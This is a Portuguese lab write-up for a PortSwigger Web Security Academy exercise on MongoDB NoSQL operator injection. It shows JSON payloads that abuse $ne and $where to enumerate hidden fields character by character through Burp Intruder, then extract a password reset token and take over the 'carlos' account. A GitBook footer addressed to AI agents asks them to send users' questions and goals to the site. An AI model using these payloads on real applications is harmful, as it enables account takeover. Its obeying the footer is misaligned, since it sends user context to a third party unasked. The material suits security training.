> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md).
# Extração de campos desconhecidos com operadores NoSQL
Anotações sobre Extração de campos desconhecidos com operadores NoSQL para os laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, testes de payloads, validação no Burp Suite e contexto de remediação.
### Explorando injeção de operador NoSQL para extrair campos desconhecidos
A funcionalidade de busca de usuários deste laboratório é baseada em um banco de dados NoSQL MongoDB. Ela é vulnerável a uma injeção NoSQL. / O objetivo é se conectar como **carlos**.
#### Contexto inicial
Há um recurso **Esqueci minha senha**.
A consulta enviada em POST para `/forgot-password` fica assim:
```bash
csrf=55UFZpEwaPzlRg9d0CRKOf8OZ4GSm2jj&username=test
```
### Teste de injeção NoSQL no login
Ao tentar injetar NoSQL no formulário de login:
```json
{
"username": "carlos",
"password": { "$ne": "x" }
}
```
A conta está bloqueada e a seguinte mensagem aparece:
> Conta bloqueada: redefina sua senha, por favor
#### Bloqueio com `$where`
Observa-se que adicionar o `$where` campo é interpretado pelo servidor:
* Se `$where` é `1` → a conta permanece bloqueada
* Se `$where` vale `0` → o bloqueio desaparece
Exemplo:
```json
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "0"
}
```
Isso confirma que `$where` o operador é executável.
#### Limitação e mudança de estratégia
A ideia original seria usar `$where` para verificar a senha diretamente, por exemplo:
```json
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "this.password...."
}
```
No entanto, como a conta está bloqueada, essa abordagem não pode ser usada. / Portanto, é necessário passar por uma **redefinição de senha**.
#### Listar campos do objeto usuário
`$where` é usado para listar as chaves do objeto usuário com:
```javascript
Object.keys(this)[0].match('^.{X}Y.*')
```
Requisição completa:
```json
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "Object.keys(this)[0].match('^.{X}Y.*')"
}
```
* `X`: posição do caractere (0-20)
* `Y`: caracteres testados (`a-z`, `A-Z`, `0-9`)
Ataque enviado via **Intruder** por **Cluster Bomb**
#### Resultados da enumeração de campos
Com base no tamanho da resposta (**Content-Length**):
* `Object.keys(this)[0]` → `id`
```javascript
"$where": "Object.keys(this)[1].match('^.{X}Y.*')"
```
* `Object.keys(this)[1]` → `nome de usuário`
* `Object.keys(this)[2]` → `senha`
```javascript
"$where": "Object.keys(this)[2].match('^.{X}Y.*')"
```
* `Object.keys(this)[3]` → `email`
* `Object.keys(this)[4]` → `passwordReset`
" O `passwordReset` campo só aparece se uma redefinição de senha tiver sido acionada para **carlos**.
```javascript
"$where": "Object.keys(this)[4].match('^.{X}Y.*')"
```
#### Confirmação do `passwordReset` Campo
Acesso ao endpoint:
```bash
/forgot-password?passwordReset=
```
Resposta:
> Token inválido
O campo existe
#### Lista do token `passwordReset`
O valor do token é então extraído:
```javascript
"$where": "this.passwordReset.match('^.{X}Y.*')"
```
```javascript
{
"username": "carlos",
"password": {
"$ne": "x"
},
"$where": "this.passwordReset.match('^.{X}Y.*')"
}
```
* `X`: posição do caractere
* `Y`: caracteres possíveis
* Enviar via **Intruder** (Cluster Bomb)
#### Resultado
O **carlos** o token de redefinição é recuperado:
```bash
5d252f7e28f468ee
```
#### Exploração final
Com esse token, você pode acessar o recurso de redefinição de senha e definir uma nova senha para **carlos**, permitindo que você faça login na sua conta e valide o laboratório.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/pt-br/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
